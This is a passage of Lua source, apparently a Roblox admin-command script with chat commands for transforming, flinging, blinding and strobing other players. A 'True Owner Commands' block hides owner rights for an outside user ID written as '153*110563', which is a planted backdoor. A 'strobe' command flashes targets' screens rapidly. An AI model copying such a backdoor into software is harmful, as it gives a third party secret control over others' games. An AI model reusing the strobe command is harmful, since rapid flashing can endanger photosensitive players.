  1684. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1685. end
  1686.  
  1687. if msg:lower():sub(1,5) == "spin " then
  1688. local plrz = GetPlr(plr, msg:lower():sub(6))
  1689. for i, v in pairs(plrz) do
  1690. coroutine.resume(coroutine.create(function()
  1691. if v and v.Character and v.Character:findFirstChild("Torso") then
  1692. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1693. local torso = v.Character:findFirstChild("Torso")
  1694. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1695. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1696. until not bg or bg.Parent ~= torso
  1697. end
  1698. end))
  1699. end
  1700. end
  1701.  
  1702. if msg:lower():sub(1,7) == "unspin " then
  1703. local plrz = GetPlr(plr, msg:lower():sub(8))
  1704. for i, v in pairs(plrz) do
  1705. coroutine.resume(coroutine.create(function()
  1706. if v and v.Character and v.Character:findFirstChild("Torso") then
  1707. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1708. end
  1709. end))
  1710. end
  1711. end
  1712.  
  1713. if msg:lower():sub(1,4) == "dog " then
  1714. local plrz = GetPlr(plr, msg:lower():sub(5))
  1715. for i, v in pairs(plrz) do
  1716. coroutine.resume(coroutine.create(function()
  1717. if v and v.Character and v.Character:findFirstChild("Torso") then
  1718. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1719. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1720. v.Character.Torso.Transparency = 1
  1721. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1722. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1723. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1724. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1725. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1726. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1727. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1728. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1729. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1730. end
  1731. end))
  1732. end
  1733. end
  1734.  
  1735. if msg:lower():sub(1,6) == "undog " then
  1736. local plrz = GetPlr(plr, msg:lower():sub(7))
  1737. for i, v in pairs(plrz) do
  1738. coroutine.resume(coroutine.create(function()
  1739. if v and v.Character and v.Character:findFirstChild("Torso") then
  1740. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1741. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1742. v.Character.Torso.Transparency = 0
  1743. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1744. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1745. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1746. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1747. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1748. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1749. end
  1750. end))
  1751. end
  1752. end
  1753.  
  1754. if msg:lower():sub(1,8) == "creeper " then
  1755. local plrz = GetPlr(plr, msg:lower():sub(9))
  1756. for i, v in pairs(plrz) do
  1757. coroutine.resume(coroutine.create(function()
  1758. if v and v.Character and v.Character:findFirstChild("Torso") then
  1759. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1760. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1761. v.Character.Torso.Transparency = 0
  1762. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1763. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1764. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1765. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1766. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1767. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1768. end
  1769. end))
  1770. end
  1771. end
  1772.  
  1773. if msg:lower():sub(1,10) == "uncreeper " then
  1774. local plrz = GetPlr(plr, msg:lower():sub(11))
  1775. for i, v in pairs(plrz) do
  1776. coroutine.resume(coroutine.create(function()
  1777. if v and v.Character and v.Character:findFirstChild("Torso") then
  1778. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1779. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1780. v.Character.Torso.Transparency = 0
  1781. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1782. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1783. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1784. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1785. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1786. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1787. end
  1788. end))
  1789. end
  1790. end
  1791.  
  1792. if msg:lower():sub(1,8) == "bighead " then
  1793. local plrz = GetPlr(plr, msg:lower():sub(9))
  1794. for i, v in pairs(plrz) do
  1795. coroutine.resume(coroutine.create(function()
  1796. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1797. end))
  1798. end
  1799. end
  1800.  
  1801. if msg:lower():sub(1,9) == "minihead " then
  1802. local plrz = GetPlr(plr, msg:lower():sub(10))
  1803. for i, v in pairs(plrz) do
  1804. coroutine.resume(coroutine.create(function()
  1805. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1806. end))
  1807. end
  1808. end
  1809.  
  1810. if msg:lower():sub(1,6) == "fling " then
  1811. local plrz = GetPlr(plr, msg:lower():sub(7))
  1812. for i, v in pairs(plrz) do
  1813. coroutine.resume(coroutine.create(function()
  1814. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1815. local xran local zran
  1816. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1817. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1818. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1819. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1820. end
  1821. end))
  1822. end
  1823. end
  1824.  
  1825. if msg:lower():sub(1,8) == "seizure " then
  1826. local plrz = GetPlr(plr, msg:lower():sub(9))
  1827. for i, v in pairs(plrz) do
  1828. coroutine.resume(coroutine.create(function()
  1829. if v and v.Character then
  1830. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1831. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1832. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1833. end
  1834. end))
  1835. end
  1836. end
  1837.  
  1838. if msg:lower():sub(1,10) == "unseizure " then
  1839. local plrz = GetPlr(plr, msg:lower():sub(11))
  1840. for i, v in pairs(plrz) do
  1841. coroutine.resume(coroutine.create(function()
  1842. if v and v.Character then
  1843. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1844. wait(.1) v.Character.Humanoid.PlatformStand = false
  1845. end
  1846. end))
  1847. end
  1848. end
  1849.  
  1850. if msg:lower():sub(1,12) == "removelimbs " then
  1851. local plrz = GetPlr(plr, msg:lower():sub(13))
  1852. for i, v in pairs(plrz) do
  1853. coroutine.resume(coroutine.create(function()
  1854. if v and v.Character then
  1855. for a, obj in pairs(v.Character:children()) do
  1856. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1857. end
  1858. end
  1859. end))
  1860. end
  1861. end
  1862.  
  1863. if msg:lower():sub(1,5) == "name " then
  1864. local chk1 = msg:lower():sub(6):find(" ") + 5
  1865. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1866. for i, v in pairs(plrz) do
  1867. coroutine.resume(coroutine.create(function()
  1868. if v and v.Character and v.Character:findFirstChild("Head") then
  1869. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1870. local char = v.Character
  1871. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1872. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1873. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1874. char.Head.Transparency = 1
  1875. end
  1876. end))
  1877. end
  1878. end
  1879.  
  1880. if msg:lower():sub(1,7) == "unname " then
  1881. local plrz = GetPlr(plr, msg:lower():sub(8))
  1882. for i, v in pairs(plrz) do
  1883. coroutine.resume(coroutine.create(function()
  1884. if v and v.Character and v.Character:findFirstChild("Head") then
  1885. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1886. end
  1887. end))
  1888. end
  1889. end
  1890.  
  1891. if msg:lower():sub(1,5) == "char " then
  1892. local chk1 = msg:lower():sub(6):find(" ") + 5
  1893. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1894. for i, v in pairs(plrz) do
  1895. coroutine.resume(coroutine.create(function()
  1896. if v and v.Character then
  1897. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1898. v:LoadCharacter()
  1899. end
  1900. end))
  1901. end
  1902. end
  1903.  
  1904. if msg:lower():sub(1,7) == "unchar " then
  1905. local plrz = GetPlr(plr, msg:lower():sub(8))
  1906. for i, v in pairs(plrz) do
  1907. coroutine.resume(coroutine.create(function()
  1908. if v and v.Character then
  1909. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1910. v:LoadCharacter()
  1911. end
  1912. end))
  1913. end
  1914. end
  1915.  
  1916. if msg:lower():sub(1,7) == "infect " then
  1917. local plrz = GetPlr(plr, msg:lower():sub(8))
  1918. for i, v in pairs(plrz) do
  1919. coroutine.resume(coroutine.create(function()
  1920. if v and v.Character then
  1921. Infect(v.Character)
  1922. end
  1923. end))
  1924. end
  1925. end
  1926.  
  1927. if msg:lower():sub(1,11) == "rainbowify " then
  1928. local plrz = GetPlr(plr, msg:lower():sub(12))
  1929. for i, v in pairs(plrz) do
  1930. coroutine.resume(coroutine.create(function()
  1931. if v and v.Character and v.Character:findFirstChild("Torso") then
  1932. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1933. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1934. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1935. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1936. cl.Parent = v.Character cl.Disabled = false
  1937. end
  1938. end))
  1939. end
  1940. end
  1941.  
  1942. if msg:lower():sub(1,9) == "flashify " then
  1943. local plrz = GetPlr(plr, msg:lower():sub(10))
  1944. for i, v in pairs(plrz) do
  1945. coroutine.resume(coroutine.create(function()
  1946. if v and v.Character and v.Character:findFirstChild("Torso") then
  1947. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1948. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1949. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1950. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1951. cl.Parent = v.Character cl.Disabled = false
  1952. end
  1953. end))
  1954. end
  1955. end
  1956.  
  1957. if msg:lower():sub(1,8) == "noobify " then
  1958. local plrz = GetPlr(plr, msg:lower():sub(9))
  1959. for i, v in pairs(plrz) do
  1960. coroutine.resume(coroutine.create(function()
  1961. if v and v.Character then
  1962. Noobify(v.Character)
  1963. end
  1964. end))
  1965. end
  1966. end
  1967.  
  1968. if msg:lower():sub(1,9) == "ghostify " then
  1969. local plrz = GetPlr(plr, msg:lower():sub(10))
  1970. for i, v in pairs(plrz) do
  1971. coroutine.resume(coroutine.create(function()
  1972. if v and v.Character and v.Character:findFirstChild("Torso") then
  1973. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1974. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1975. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1976. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1977. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1978. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1979. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1980. end end
  1981. end
  1982. end))
  1983. end
  1984. end
  1985.  
  1986. if msg:lower():sub(1,8) == "goldify " then
  1987. local plrz = GetPlr(plr, msg:lower():sub(9))
  1988. for i, v in pairs(plrz) do
  1989. coroutine.resume(coroutine.create(function()
  1990. if v and v.Character and v.Character:findFirstChild("Torso") then
  1991. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1992. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1993. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1994. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1995. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1996. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1997. end end
  1998. end
  1999. end))
  2000. end
  2001. end
  2002.  
  2003. if msg:lower():sub(1,6) == "shiny " then
  2004. local plrz = GetPlr(plr, msg:lower():sub(7))
  2005. for i, v in pairs(plrz) do
  2006. coroutine.resume(coroutine.create(function()
  2007. if v and v.Character and v.Character:findFirstChild("Torso") then
  2008. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2009. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2010. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2011. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2012. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2013. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2014. end end
  2015. end
  2016. end))
  2017. end
  2018. end
  2019.  
  2020. if msg:lower():sub(1,7) == "normal " then
  2021. local plrz = GetPlr(plr, msg:lower():sub(8))
  2022. for i, v in pairs(plrz) do
  2023. coroutine.resume(coroutine.create(function()
  2024. if v and v.Character and v.Character:findFirstChild("Torso") then
  2025. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2026. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2027. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2028. v.Character.Torso.Transparency = 0
  2029. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2030. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2031. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2032. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2033. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2034. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2035. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2036. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2037. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2038. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2039. end end
  2040. end
  2041. end))
  2042. end
  2043. end
  2044.  
  2045. if msg:lower():sub(1,7) == "trippy " then
  2046. local plrz = GetPlr(plr, msg:lower():sub(8))
  2047. for i, v in pairs(plrz) do
  2048. coroutine.resume(coroutine.create(function()
  2049. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2050. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2051. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2052. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2053. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2054. end
  2055. end))
  2056. end
  2057. end
  2058.  
  2059. if msg:lower():sub(1,9) == "untrippy " then
  2060. local plrz = GetPlr(plr, msg:lower():sub(10))
  2061. for i, v in pairs(plrz) do
  2062. coroutine.resume(coroutine.create(function()
  2063. if v and v:findFirstChild("PlayerGui") then
  2064. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2065. end
  2066. end))
  2067. end
  2068. end
  2069.  
  2070. if msg:lower():sub(1,7) == "strobe " then
  2071. local plrz = GetPlr(plr, msg:lower():sub(8))
  2072. for i, v in pairs(plrz) do
  2073. coroutine.resume(coroutine.create(function()
  2074. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2075. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2076. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2077. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2078. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2079. end
  2080. end))
  2081. end
  2082. end
  2083.  
  2084. if msg:lower():sub(1,9) == "unstrobe " then
  2085. local plrz = GetPlr(plr, msg:lower():sub(10))
  2086. for i, v in pairs(plrz) do
  2087. coroutine.resume(coroutine.create(function()
  2088. if v and v:findFirstChild("PlayerGui") then
  2089. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2090. end
  2091. end))
  2092. end
  2093. end
  2094.  
  2095. if msg:lower():sub(1,6) == "blind " then
  2096. local plrz = GetPlr(plr, msg:lower():sub(7))
  2097. for i, v in pairs(plrz) do
  2098. coroutine.resume(coroutine.create(function()
  2099. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2100. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2101. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2102. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2103. end
  2104. end))
  2105. end
  2106. end
  2107.  
  2108. if msg:lower():sub(1,8) == "unblind " then
  2109. local plrz = GetPlr(plr, msg:lower():sub(9))
  2110. for i, v in pairs(plrz) do
  2111. coroutine.resume(coroutine.create(function()
  2112. if v and v:findFirstChild("PlayerGui") then
  2113. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2114. end
  2115. end))
  2116. end
  2117. end
  2118.  
  2119. if msg:lower():sub(1,7) == "guifix " then
  2120. local plrz = GetPlr(plr, msg:lower():sub(8))
  2121. for i, v in pairs(plrz) do
  2122. coroutine.resume(coroutine.create(function()
  2123. if v and v:findFirstChild("PlayerGui") then
  2124. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2125. end
  2126. end))
  2127. end
  2128. end
  2129.  
  2130. if msg:lower():sub(1,9) == "loopheal " then
  2131. local plrz = GetPlr(plr, msg:lower():sub(10))
  2132. for i, v in pairs(plrz) do
  2133. if v then
  2134. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2135. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2136. repeat wait()
  2137. coroutine.resume(coroutine.create(function()
  2138. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2139. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2140. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2141. end
  2142. end))
  2143. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2144. end
  2145. end
  2146. end
  2147.  
  2148. if msg:lower():sub(1,11) == "unloopheal " then
  2149. local plrz = GetPlr(plr, msg:lower():sub(12))
  2150. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2151. end
  2152.  
  2153. if msg:lower():sub(1,10) == "loopfling " then
  2154. local plrz = GetPlr(plr, msg:lower():sub(11))
  2155. for i, v in pairs(plrz) do
  2156. if v then
  2157. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2158. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2159. repeat
  2160. coroutine.resume(coroutine.create(function()
  2161. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2162. local xran local zran
  2163. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2164. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2165. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2166. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2167. end
  2168. end))
  2169. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2170. end
  2171. end
  2172. end
  2173.  
  2174. if msg:lower():sub(1,12) == "unloopfling " then
  2175. local plrz = GetPlr(plr, msg:lower():sub(13))
  2176. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2177. end
  2178.  
  2179. end
  2180.  
  2181. -------------------------
  2182. -- True Owner Commands --
  2183. -------------------------
  2184.  
  2185. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2186.  
  2187. if msg:lower():sub(1,3) == "oa " then
  2188. local plrz = GetPlr(plr, msg:lower():sub(4))
  2189. for i, v in pairs(plrz) do
  2190. coroutine.resume(coroutine.create(function()
  2191. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2192. end))
  2193. end
  2194. end
  2195.  
  2196. if msg:lower():sub(1,5) == "unoa " then
  2197. for i = 1, #owners do
  2198. coroutine.resume(coroutine.create(function()
  2199. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2200. end))
  2201. end
  2202. end
  2203.  
  2204. if msg:lower() == "settings" then
  2205. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2206. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2207. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
